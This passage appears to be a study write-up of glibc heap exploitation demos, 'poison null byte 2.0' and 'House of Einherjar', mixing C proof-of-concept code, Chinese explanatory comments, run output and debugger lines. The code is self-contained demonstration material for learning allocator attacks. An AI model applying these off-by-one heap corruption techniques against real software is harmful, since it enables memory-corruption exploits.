fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x100); fprintf(stderr, "a: %p\n", a); int real_a_size = malloc_usable_size(a); //我们想溢出'a'的话,我们需要知道'a'的真实大小,因为舍入,a可能比0x100更大(我觉得这个舍入就是加了size,presize然后空间复用了一下 fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
//chunk size属性的最小的有效字节不能是0x00,最小的也必须是0x10,因为chunk的size包括请求的量加上元数据所需的大小(也就是我们的size和pre_size然后空间复用 /* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0x200);
fprintf(stderr, "b: %p\n", b);
c = (uint8_t*) malloc(0x100); fprintf(stderr, "c: %p\n", c);
barrier = malloc(0x100);
//c我们分配了barrier,这样我们free c的时候就不会被合并到top chunk里了,这个burrier并不是必须的,只不过是为了减少可能产生的问题 fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
//在新版本的glibc中添加了新的check即: size==prev_next(next_chunk) // added fix for size==prev_size(next_chunk) check in newer versions of glibc // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 //这个被新增的check要求我们允许b中有null指针而不仅仅是c // this added check requires we are allowed to have null pointers in b (not just a c string) //*(size_t*)(b+0x1f0) = 0x200; //在新版本的glibc中我们需要让我们更新的size包含b自身去pass 'chunksize(P)!=prev_size(next_chunk(P))' fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
//我们将此位置设为0x200,因为0x200==(0x211&0xff00) // we set this location to 0x200 since 0x200 == (0x211 & 0xff00) //这个是b.size的值在被null字节覆盖之后的值 // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x1f0) = 0x200;
//这个技术通过覆盖一个free chunk的元数据来生效 // this technique works by overwriting the size metadata of a free chunk free(b);
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n"); //我们通过用一个null字节来溢出a来修改b的元数据 fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);
//这个malloc将会在b上调用unlink // This malloc will result in a call to unlink on the chunk where b was. //新增的chunk,如果没有像之前那样被正确处理,就会检测堆是否被损坏了 // The added check (commit id: 17f487b), if not properly handled as we did before, // will detect the heap corruption now. // The check is this: chunksize(P) != prev_size (next_chunk(P)) where // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow) // next_chunk(P) == b-0x10+0x200 == b+0x1f0 // prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200 fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x100);
fprintf(stderr, "b1: %p\n",b1); //现在我们malloc b1,他将会被放在b的地方,此时,c的prev_size将会被更新 fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr); fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); //我们malloc b2作为我们的攻击目标 fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
//现在我们释放b1和c,这将会合并b1和c(无视b2) fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1); free(c);
//现在我们malloc d来和b2重叠 fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0x300); fprintf(stderr, "d: %p\n",d);
fprintf(stderr, "Now 'd' and 'b2' overlap.\n"); memset(d,'D',0x300);
fprintf(stderr, "New b2 content:\n%s\n",b2);
fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks" "for the clear explanation of this technique.\n"); }
Welcome to poison null byte 2.0! Tested in Ubuntu 14.0464bit. This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte. We allocate 0x100 bytes for'a'. a: 0x241a010 Since we want to overflow 'a', we need to know the 'real' size of'a' (it may be more than 0x100 because of rounding): 0x108 b: 0x241a120 c: 0x241a330 We allocate a barrier at 0x241a440, so that c isnot consolidated with the top-chunk when freed. The barrier isnot strictly necessary, but makes things less confusing In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))' b.size: 0x211 b.size is: (0x200 + 0x10) | prev_in_use We overflow 'a' with a single null byte into the metadata of'b' b.size: 0x200 c.prev_size is0x210 We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P)) b1: 0x241a120 Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210 Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0 We malloc 'b2', our 'victim' chunk. b2: 0x241a230 Current b2 content: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Now we free 'b1' and'c': this will consolidate the chunks 'b1' and'c' (forgetting about 'b2'). Finally, we allocate 'd', overlapping 'b2'. d: 0x241a120 Now 'd' and'b2' overlap. New b2 content: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explanation of this technique.
40 barrier = malloc(0x100); ► 41 fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" 42"The barrier is not strictly necessary, but makes things less confusing\n", barrier);
56// this technique works by overwriting the size metadata of a free chunk ► 57 free(b);
fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n"); a = (uint8_t*) malloc(0x38); fprintf(stderr, "a: %p\n", a);
int real_a_size = malloc_usable_size(a); fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk //我们可以在任意一个我们想要的地方来创建一个fake chunk,本例中我们将在栈上创建这个fake chunk fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); //当然,你可以在heap或者bss段任一个你知道地址的地方创建fake chunk fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); //我们将我们的fwd和bck指针指向fake_chunk来pass unlink的checks fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); //尽管有的时候我们可以在这儿使用unsafe unlink技术 fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8); //这个技术通过覆盖chunk的size以及pre_inuse位来工作 /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr); fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n"); fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); //如果b的size是0x100的倍数,那么就很简单了,连size都不用改,直接修改他的pre_inuse位就好啦 fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n"); //如果已经被修改了,我们将在b内需要一个fake chunk,它将尝试合并下一个块 fprintf(stderr, "If it had been modified, we would need a fake chunk inside " "b where it will try to consolidate the next chunk\n");
// Write a fake prev_size to the end of a fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//修改fake chunk的size去反应b的新的prev_size //Change the fake chunk's size to reflect b's new prev_size fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n"); fake_chunk[1] = fake_size;
//free b,之后他就会和我们的fake chunk合并了 // free b and it will consolidate with our fake chunk fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); free(b); fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//如果我们在free b之前分配另一个chunk,我们需要做两件事 //if we allocate another chunk before we free b we will need to //do two things:
//1)我们将需要调整我们的fake chunk的size来使得fake_chunk+fake_chunk的size指针在我们所能控制的区域内 //1) We will need to adjust the size of our fake chunk so that //fake_chunk + fake_chunk's size points to an area we control
//2)我们将需要在我们控制的地址写我们的fake chunk的size //2) we will need to write the size of our fake chunk //at the location we control.
//在做了这两件事情之后,当unlink被调用的时候,我们的Fake chunk就将通过check //After doing these two things, when unlink gets called, our fake chunk will //pass the size(P) == prev_size(next_chunk(P)) test.
//否则我们需要确定我们的fake chunk可以抵御荒野???(荒野这里有点迷离 //otherwise we need to make sure that our fake chunk is up against the //wilderness
//现在我们再调用malloc的时候,返回的时候就该是我们fake chunk的地址了 fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n"); d = malloc(0x200); fprintf(stderr, "Next malloc(0x200) is at %p\n", d); }
Welcome to House of Einherjar! Tested in Ubuntu 16.0464bit. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x38 bytes for'a' a: 0x1767010 Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38
We create a fake chunk wherever we want, in this case we'll create the chunk on the stack However, you can also create the chunk in the heap or the bss, aslongas you know its address We set our fwd and bck pointers to point at the fake_chunk inorderto pass the unlink checks (although we could do the unsafe unlink technique here in some scenarios) Our fake chunk at 0x7ffc0cadecb0 looks like: prev_size (not used): 0x100 size: 0x100 fwd: 0x7ffc0cadecb0 bck: 0x7ffc0cadecb0 fwd_nextsize: 0x7ffc0cadecb0 bck_nextsize: 0x7ffc0cadecb0
We allocate 0xf8 bytes for'b'. b: 0x1767050
b.size: 0x101 b.size is: (0x100) | prev_inuse = 0x101 We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x100 This is easiest if b.size is a multiple of0x100 so you don't change the size of b, only its prev_inuse bit If it had been modified, we would need a fake chunk inside b where it will tryto consolidate the next chunk
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk Our fake prev_size will be 0x1767040 - 0x7ffc0cadecb0 = 0xffff8003f4c88390
Modify fake chunk's size to reflect b's new prev_size Now we free b and this will consolidate with our fake chunk since b prev_inuse isnotset Our fake chunk size is now 0xffff8003f4ca9351 (b.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk Next malloc(0x200) is at 0x7ffc0cadecc0